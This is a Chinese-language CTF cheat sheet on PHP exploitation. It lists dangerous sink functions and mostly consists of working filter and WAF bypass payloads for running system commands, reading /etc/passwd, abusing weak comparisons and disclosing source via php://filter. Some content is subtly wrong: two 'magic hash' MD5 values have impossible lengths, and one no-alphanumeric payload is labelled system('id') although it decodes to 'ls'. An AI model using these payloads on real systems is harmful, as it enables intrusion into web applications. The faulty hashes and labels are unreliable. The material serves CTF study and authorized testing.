is_numeric("1e5")      // true(科学计数法!)
is_numeric("1.5")      // true
is_numeric("3 ")       // false(有空格)
is_numeric(" 3")       // false(前导空格也不行)
// PHP 5 中 is_numeric("0x1A") 为 true,可用十六进制绕过

12.2 代码审计常见 Sink

<?php
// 需要重点关注的危险 Sink 函数

// ── RCE ──
system() exec() passthru() shell_exec() popen()
proc_open() pcntl_exec()
eval() assert()  // (string) 参数
preg_replace()   // /e 修饰符(PHP < 7)
create_function() call_user_func() call_user_func_array()

// ── 文件读取 ──
file_get_contents() file() readfile() fopen() fread()
highlight_file() show_source() require()

// ── 文件写入 ──
file_put_contents() fwrite() move_uploaded_file()

// ── 变量覆盖 ──
extract() parse_str() $$var import_request_variables()

// ── 反序列化 ──
unserialize() json_decode()  // 结合 PHP 对象注入

// ── SSRF ──
file_get_contents() curl_exec() fopen() fsockopen()

// ── XSS ──
print printf() sprintf() htmlspecialchars_decode()

// ── SQL 注入 ──
mysql_query() mysqli::query() PDO::query()  // 使用字符串拼接时

12.3 CTF 解题思维导图

发现 PHP 应用
    ↓
信息收集:phpinfo / 报错信息 / 源码泄露(?source / .phps / git泄露)
    ↓
寻找注入点:
  ├── GET/POST 参数
  ├── Cookie 参数
  ├── HTTP 头(User-Agent / X-Forwarded-For / Referer)
  └── 文件名(上传功能)
    ↓
分析代码逻辑:
  ├── 弱类型比较 → 0e 哈希 / strcmp 数组 / in_array 绕过
  ├── 变量覆盖 → extract / parse_str / $$
  ├── 正则绕过 → 回溯限制 / ^ $ 多行模式 / 数组
  ├── 序列化 → POP 链 / __wakeup 绕过 / 字符串逃逸
  ├── 文件包含 → 伪协议 / 日志污染 / Session 污染
  └── 命令执行 → 危险函数 / disable_functions 绕过
    ↓
利用漏洞:
  ├── 信息泄露(读取配置/源码/flag)
  ├── 权限绕过(修改 session/cookie/变量)
  └── RCE(WebShell / 反弹Shell)

13、WAF 绕过技巧

13.1 关键字过滤绕过

<?php
// ── 大小写绕过(适用于 case-insensitive 匹配)──
SyStEm("id");
SYSTEM("id");
sYsTeM("id");

// ── 字符串拼接绕过 ──
$f = 'sys'.'tem';
$f("id");
("sys"."tem")("id");
call_user_func('sys'.'tem', 'id');

// ── 变量拼接 ──
$a = 'sy'; $b = 'stem'; ($a.$b)('id');

// ── Base64 解码 ──
call_user_func(base64_decode('c3lzdGVt'), 'id');
$f = base64_decode('c3lzdGVt'); $f('id');  // system

// ── hex2bin ──
$f = hex2bin('73797374656d'); $f('id');  // system

// ── str_rot13 ──
$f = str_rot13('flfgrz'); $f('id');  // system

// ── 反转字符串 ──
$f = strrev('metsys'); $f('id');  // system

// ── chr 拼接 ──
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $f('id');

// ── Unicode 绕过(部分 WAF)──
// 某些 WAF 对 Unicode 处理不当,可用全角字母
// System("id");(全角,PHP 实际不识别)

// ── 利用 PHP 内置函数构造 ──
$f = implode('', ['s','y','s','t','e','m']); $f('id');
$f = join('', array_map('chr', [115,121,115,116,101,109])); $f('id');

13.2 括号过滤绕过

<?php
// 当括号被过滤时(某些 PHP 版本和配置)

// ── 方法一:使用 require / include(语言结构,不需括号)──
require "/etc/passwd";
include "/etc/passwd";

// ── 方法二:echo / print ──
echo "content";   // 不需要括号
print "content";  // 不需要括号
die "message";    // 不需要括号

// ── 方法三:强制类型转换 ──
(string)$obj;  // 不是函数,但仍使用括号...

// ── 方法四:直接调用(PHP 8 命名参数)──
// 某些场景可通过其他方式绕过括号需求

// ── 方法五:利用 PHP 标签 ──
<?= system('id') ?>  // short_open_tag 开启时

13.3 空格过滤绕过

<?php
// 替代空格的字符
/*注释*/      system/**/("id");     // 注释替代空格
\t (Tab)      system\t("id")        // 制表符(在 Shell 中)
\n (换行)     系统内部使用
%09           URL 编码的 Tab
%0a           URL 编码的换行
%0d           URL 编码的回车
{            ${IFS}                 // Shell 中的 IFS

// PHP 代码中空格可用以下替代(在特定场景)
system/**/"id";   // 函数调用不需要空格

13.4 引号过滤绕过

<?php
// 当单双引号均被过滤时

// ── 方法一:从 GET/POST 参数获取字符串 ──
$_GET[cmd];        // 不需要引号包裹键名
$_POST[cmd];       // 同上(仅在字符串上下文中)
$$_GET[var];       // 可变变量

// ── 方法二:chr() 函数构造 ──
system(chr(105).chr(100));  // "id"

// ── 方法三:数字进制表示 ──
system(\x69\x64);   // 不行,PHP 不支持这种写法
// 但 HEX 字符串可以
system(hex2bin(696e64));  // 需要引号...

// ── 方法四:利用环境变量和字符串 ──
// 在 eval 上下文中
eval($_GET[1]);  // 不需要引号传入 1

// ── 方法五:利用 PHP 已有字符串中的字符 ──
// $var = $_SERVER['DOCUMENT_ROOT']
// 从中提取字符构造命令

13.5 分号过滤绕过

<?php
// PHP 中最后一条语句可以省略分号(在某些上下文)

// ── 利用 PHP 结束标签 ──
<?php system('id') ?>  // ?> 隐含了分号
echo system('id') ?>   // 同上

// ── 利用大括号 ──
<?php {system('id')}   // 不行,语法不支持
if(1){system('id')}    // 需要括号...

13.6 特殊字符与混淆技术

<?php
// ── 利用 PHP Here-doc 绕过 ──
$cmd = <<<EOT
id
EOT;
system($cmd);

// ── 利用 PHP Nowdoc ──
$cmd = <<<'EOT'
id
EOT;
system($cmd);

// ── 多重编码绕过 ──
// URL 二次编码:%2527 → %27 → '
// 服务器解码一次后送给 PHP,PHP 解码后得到单引号

// ── 利用 PHP 字符串语法 ──
"\x73\x79\x73\x74\x65\x6d"("id");  // "\x73..." = "system"
"\115\141\151\154"('', '', '');      // 八进制字符串 "Mail"

// ── 利用 PHP 常量 ──
// true == 1, false == "", null == ""
define('CMD', 'system');
CMD('id');  // 若允许定义常量

// ── 利用全局变量 ──
$GLOBALS['f'] = 'system';
$GLOBALS['f']('id');

13.7 CTF 常用绕过速查表

过滤内容 绕过方法
system base64_decode / str_rot13 / strrev / 拼接
assert 同上,或用 eval 替代
eval assert(PHP < 8)/ preg_replace /e(PHP < 7)
_ 下划线 chr(95) / 从已有字符串中提取 / GET 参数传入
数字 true=1 / count([x]) / strlen(x)
空格 /***/ / %09 / %0a
引号 chr() / GET 参数裸传
括号 语言结构(include echo die
点号 改用其他字符串拼接方式
[ ] { } 替代数组索引

附录

A. PHP 弱类型比较速查(PHP 7 vs PHP 8)

比较 PHP 7 PHP 8
0 == "abc" true false
0 == "" true false
0 == "0" true true
"1" == "01" true true
"10" == "1e1" true true
100 == "1e2" true true
null == "" true true
null == "0" false false
null == false true true
"php" == true true true
"" == false true true

B. 魔术哈希速查表

字符串 哈希类型 哈希值(0e开头)
240610708 MD5 0e462097431906509019562988736854
QNKCDZO MD5 0e830400451993494058024219903391
aabg7XSs MD5 0e087386482136013740957780965295
aabC9RqS MD5 0e041022518165728065344349536299
aaroZmOk MD5 0e66507019969427134894567494305
aaK1STfY MD5 0e76658526655756207688271159624022
10932435112 SHA1 0e07766915004133176347055865026311842794

C. 常用 PHP 特性利用 Payload 速查

// 弱类型绕过 md5 比较
?a=QNKCDZO&b=240610708

// strcmp 数组绕过
?pass[]=anything

// preg_match 回溯绕过
# 超长字符串 + 恶意代码

// extract 变量覆盖
# POST: auth=1&role=admin

// 序列化 __wakeup 绕过(属性数+1)
O:4:"User":3:{...}  # 实际只有2个属性

// 无字母数字执行
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c");  // system("id")

// php://filter 读源码
php://filter/convert.base64-encode/resource=index.php

// 反序列化 POP 链
# 寻找 __destruct/__wakeup/__toString 作为入口,串联执行链

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。请在合法合规的环境中学习与实践,未经授权利用这些技术属于违法行为。